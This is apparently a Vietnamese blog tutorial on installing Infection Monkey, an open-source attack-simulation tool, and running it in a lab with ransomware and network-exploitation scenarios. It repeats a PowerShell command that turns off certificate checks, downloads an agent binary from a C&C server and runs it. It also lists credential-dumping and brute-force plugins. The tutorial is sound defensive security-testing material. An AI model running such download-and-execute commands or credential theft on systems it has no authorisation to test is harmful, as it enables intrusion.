+10

Giả lập tấn công mạng với Infection Monkey

image.png

Có nhiều phương pháp để đánh giá lỗ hổng bảo mật toàn diện của một hệ thống, điển hình trong số đó là Red Team. Một nhân sự có các kỹ năng cần thiết sẽ đóng vai trò như một Hacker hay một nhân viên nội bộ có ý đồ xấu, cố gắng khai thác điểm yếu của tổ chức để lấy đi các dữ liệu quan trọng. Qua thời gian,có nhiều công cụ ra đời phục vụ mục đích này và ngày càng được tối ưu hóa.Infection Monkey là một trong số các công cụ tiêu biểu đó.

1. Infection Monkey là gì ?

Infection Monkey là một công cụ mã nguồn mở, miễn phí do Akamai (một công ty bảo mật rất lớn) phát triển, giúp mô phỏng các cuộc tấn công phức tạp vào tổ chức, từ đó cung cấp cho quản trị viên cái nhìn trực quan nhất về hệ thống mạng nội bộ dưới con mắt của kẻ tấn công. Công cụ có thể hoạt động độc lập hoặc tích hợp vào các hệ thống SOC để dò quét một cách định kì.

Infection Monkey hoạt động theo mô hình Client-Server bao gồm 2 thành phần chính:

  • Monkey Island Server : Máy chủ Web C&C cung cấp giao diện đồ họa cho người dùng để giao tiếp với các máy đã bị lây nhiễm .
  • Monkey Agent: Tích hợp các chức năng dò quét, khai thác điểm yếu hệ thống mạng - được cài đặt trực tiếp lên trên các máy cần kiểm thử.

2. Cài Đặt

Infection Monkey hỗ trợ nhiều nền tảng phổ biến như Windows, Linux, AWS, Azure và đều giống nhau ở việc rất dễ triển khai. Demo dưới đây mình cài công cụ trên môi trường Kali Linux phiên bản 2023.1

2.1. Cài đặt Infection Monkey

Bước 1. Download công cụ theo đường dẫn sau https://www.akamai.com/content/dam/site/en/dl/InfectionMonkey-v2.3.0.AppImage.zip

Bước 2 . Cài đặt thư viện cần thiết

sudo apt install libfuse2

Bước 3. Giải nén và chạy infection-monkey như một Service

sudo ./InfectionMonkey-v2.3.0.AppImage service --install --user kali
sudo systemctl start infection-monkey

Bước 4. Ở lần cài đặt đầu tiên, công cụ yêu cầu người dùng thực hiện đăng ký tài khoản

image.png

Giao diện chào mừng

image.png

Bước 5. Cài đặt Plugin

Infection Monkey hoạt động thông qua các plugins để tiến hành dò quét và khai thác lỗ hổng hệ thống , các plugins này được cung cấp sẵn ta chỉ cần ấn tùy chọn (tải xuống) để cài đặt chúng

image.png

Các plugins bao gồm:

  • Chrome : Lấy các thông tin được lưu trữ trong Google Chrome
  • Crytojacker : Giả lập tấn công mã độc đào tiền ảo
  • Hadoop : Phục vụ RCE hệ thống Hadoop Server
  • Log4Shell : Khai thác lỗ hổng Log4Shell
  • Mimikatz : Lấy thông tin từ Windows thông qua Mimikatz
  • MSSQL : Brute-force MSSQL
  • Powershell : Sử dụng Powershell cho mục đích tấn công hệ thống
  • Ransomware : Mô phỏng hệ thống ảnh hưởng bởi Ransomware
  • RDP/SMB/SNMP/SSH : Tấn công hệ thống thông qua các giao thức trên

Qua các plugins được cung cấp , ta có thể mường tượng các lỗ hổng mà công cụ có thể giả lập từ đó lên phương án cấu hình cần thiết

2.2. Cấu hình Infection Monkey

Tất cả các phương thức tấn công trên Infection Monkey mặc định sẽ không được bật, để sử dụng bắt buộc chúng ta phải khởi chạy và cấu hình trực tiếp trong Monkey Configuration

1. Propagation > Exploiters

Bật cấu hình các phương thức tấn công Network

image.png

2. Propagation > Network analysis

Cài đặt Network, chỉ định đối tượng dò quét hoặc không dò quét trong mạng

image.png

Chỉ định các port cần tấn công

image.png

2. Propagation > Credentials

Danh sách mật khẩu phục vụ tấn công Brute-force (gồm mật khẩu , NTLM/LM hash, SSH Key)

image.png

3.Payloads

Cấu hình liên quan tới các giao thức mã hóa, phục vụ tấn công Ransomware

image.png

4. Credentials collectors

Lấy thông tin từ hệ thống nạn nhân thông qua Google Chrome, Mimikatz và SSH

image.png

5. Masquerade

Mô phỏng chữ ký của các phần mềm độc hại (plugin này nhằm kiểm tra hệ thống AV có hoạt động một cách chính xác không)

image.png

6. Thay đổi chữ ký của Monkey Agent

image.png

7. Advanced

Thiết lập tunnel hệ thống

image.png

2.2. Thiết lập môi trường tấn công

Môi trường mình thiết lập bao gồm 3 thành phần chính như sau :

  • Máy chủ Kali Linux đóng vai trò như một C&C chạy Monkey Island
  • Máy chủ Windows 7 tồn tại lỗ hổng bảo mật trong giao thức SMB , RDP đồng thời sử dụng mật khẩu dễ đoán
  • Máy chủ Ubuntu 16.04 tồn tại các lỗ hổng bảo mật trong SSH và PAM Authen

Kali Linux 2023 - [IP : 192.168.5.113]

image.png

Windows 7 64 Bit - [IP 192.168.5.116]

image.png

Ubuntu 16.04 - [IP 192.168.5.117]

image.png

3. Các bước tấn công

Infection Monkey cung cấp 3 bước mô phỏng tấn công bao gồm :

Bước 1. Run Monkey :

image.png

  • From Island : Biến chính máy đang chạy C&C thành mục tiêu tấn công
  • Manual : Download và khởi chạy agent trên các máy cần tấn công

Ví dụ về câu lệnh khởi chạy agent trên máy chủ Windows

$execCmd = @"
`$monkey=[System.IO.Path]::GetTempPath() + """monkey.exe""";
[Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true};
(New-Object System.Net.WebClient).DownloadFile('https://172.17.0.1:5000/api/agent-binaries/windows',
"""`$monkey""");`$env:MONKEY_OTP='h_9D9dzsO7sdQQaMUvO.W9ofe5GdxTaE';
Start-Process -FilePath """`$monkey""" -ArgumentList 'm0nk3y -s 172.17.0.1:5000';
"@; 
Start-Process -FilePath powershell.exe -ArgumentList $execCmd

Bước 2. Infection Map : Cung cấp cho người dùng toàn cảnh quá trình tấn công

image.png

Bước 3. Security Reports : Cung cấp báo cáo thử nghiệm cho người dùng

image.png

4. Thử nghiệm tấn công

Infection Monkey cung cấp cho người sử dụng 2 tùy chọn giả lập tấn công bao gồm Ransomware Attack & Security Attack

4.1. Giả lập tấn công Ransomware - Malware Check

Infection Monkey mô phỏng một cuộc tấn công ransomware trên hệ thống theo cách trực quan nhất - theo đó nó sẽ mã hóa hệ thống ở danh sách các thư mục được chỉ định với các thuật toán có thể giải mã. Có nhiều cơ chế an toàn được kiểm soát, cho phép kiểm thử này có thể được thực hiện ngay tại môi trường Production.

1. Chuẩn bị môi trường mô phỏng Ransomware

Ở đây mình sẽ tiến hành mã hóa dữ liệu trên máy tính sử dụng hệ điều hành Windows, tại thư mục C:\Users\Public\Demo_Encrypt (Infection Monkey chỉ mã hóa các file tại thư mục chỉ định, nếu xuất hiện thư mục con nó sẽ tự động bỏ qua - biện pháp phòng ngừa này được thực hiện nhằm ngăn chặn việc vô tình mã hóa các tệp mà bạn không có ý định mã hóa.)

(Trong môi trường doanh nghiệp, ta có thể cung cấp cho công cụ các thông số của Ansible , PsExec hoặc thậm chí là Windows GPO cho mục đích thử nghiệm)

2. Cấu hình mã hóa

Để đảm bảo sự ảnh hưởng tối thiểu và khả năng phục hồi dễ dàng, mô phỏng này sẽ chỉ mã hóa các tệp có trong thư mục do người dùng chỉ định. Nếu không có thư mục nào được chỉ định thì sẽ không có tập tin nào được mã hóa. Ngoài ra ta có thể cấu hình đuôi của file sau khi mã hóa

Cấu hình mã hóa theo đường dẫn sau : Payloads > Ransomware

image.png

3. Chạy Monkey Agent để tiến hành mô phỏng

image.png

$execCmd = @"
`$monkey=[System.IO.Path]::GetTempPath() + """monkey.exe""";
[Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true};
(New-Object System.Net.WebClient).DownloadFile('https://192.168.5.113:5000/api/agent-binaries/windows',
"""`$monkey""");`$env:MONKEY_OTP='ypJkuKwETnEs6.74xnaWozOMh5QDAJmg';
Start-Process -FilePath """`$monkey""" -ArgumentList 'm0nk3y -s 192.168.5.113:5000';
"@; 
Start-Process -FilePath powershell.exe -ArgumentList $execCmd

4. Hoàn tất

Công cụ mô phỏng mã hóa thành công . Các tập tin đã được mã hóa

image.png

image.png

Tệp README.txt thông báo cho người dùng rằng quá trình mô phỏng ransomware đã diễn ra và họ nên liên hệ với quản trị viên của mình

Danh sách các tệp tin có đuôi mở rộng bị ảnh hưởng

.3ds .7z .accdb .ai .asp .aspx .avhd .avi .mặt sau .bak .c .cfg .conf .cpp .cs .ctl .dbf .đĩa .djvu .doc .docx .dwg .eml .fdb .giff .gz .h .hdd .jpg .jpeg .kdbx .thư .mdb .mpg .mpeg .msg .nrg .ora .ost .ova .ovf .pdf .php .pmf .png .ppt .pptx .pst .pvi .py .pyc .rar .rtf .sln .sql .tar .tiff .txt .vbox .vbs .vcb .vdi .vfd .vmc .vmdk .vmsd .vmx .vsdx .vsv .công việc .xls .xlsx .xvd .zip

4.2. Giả lập tấn công mạng nội bộ - Security Check

Việc giả lập tấn công mạng nội bộ khó khăn và mất thời gian hơn nhiều so với việc mô phỏng Ransomware. Infection Monkey hỗ trợ người dùng giả lập tấn công thông qua các lỗ hổng sau:

  • Scan dải mạng (lưu ý với tính năng này có thể dẫn tới out-of-scop)
  • Brute-force các dịch vụ nhạy cảm (SSH, RDP, WMI , MSSQL)
  • Lỗ hổng bảo mật điển hình (Hadoop, Log4Shell, Zerologon )
  • Dump thông tin hệ thống (thông qua Chrome, Mimikatz hay SSH Key)

Để kích hoạt tính năng này, ta bật tùy chọn plugins tương ứng trong Monkey Configuration > Exploiters

image.png

Chạy Monkey Agent để tiến hành mô phỏng

image.png

$execCmd = @"
`$monkey=[System.IO.Path]::GetTempPath() + """monkey.exe""";
[Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true};
(New-Object System.Net.WebClient).DownloadFile('https://192.168.5.113:5000/api/agent-binaries/windows',
"""`$monkey""");`$env:MONKEY_OTP='ypJkuKwETnEs6.74xnaWozOMh5QDAJmg';
Start-Process -FilePath """`$monkey""" -ArgumentList 'm0nk3y -s 192.168.5.113:5000';
"@; 
Start-Process -FilePath powershell.exe -ArgumentList $execCmd

Báo cáo chi tiết về toàn bộ lỗ hổng hệ thống mình đã thiết lập ở bước trên được hiển thị trực quan tại đây.

image.png

image.png

Để dừng quá trình mô phỏng tấn công, ta có thể kích hoạt chế độ "Kill All Monkeys"

image.png

4.3. Reports

Sau khi quá trình tấn công hoàn tất (khoảng 45 phút - 1 giờ tùy hệ thống) , một báo cáo chi tiết sẽ được hiển thị trong Reports

Các yếu tố bao gồm (số máy đã chiếm quyền điều khiển, số file đã được mã hóa , thông tin kết nối của nạn nhân, event logs...)

image.png

image.png

5. Tổng kết

Infection Monkey thực sự là một công cụ rất hữu dụng cho bất cứ quản trị viên nào trong công việc mô phỏng kiểm thử hệ thống.

Tham khảo : https://techdocs.akamai.com/infection-monkey/docs


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí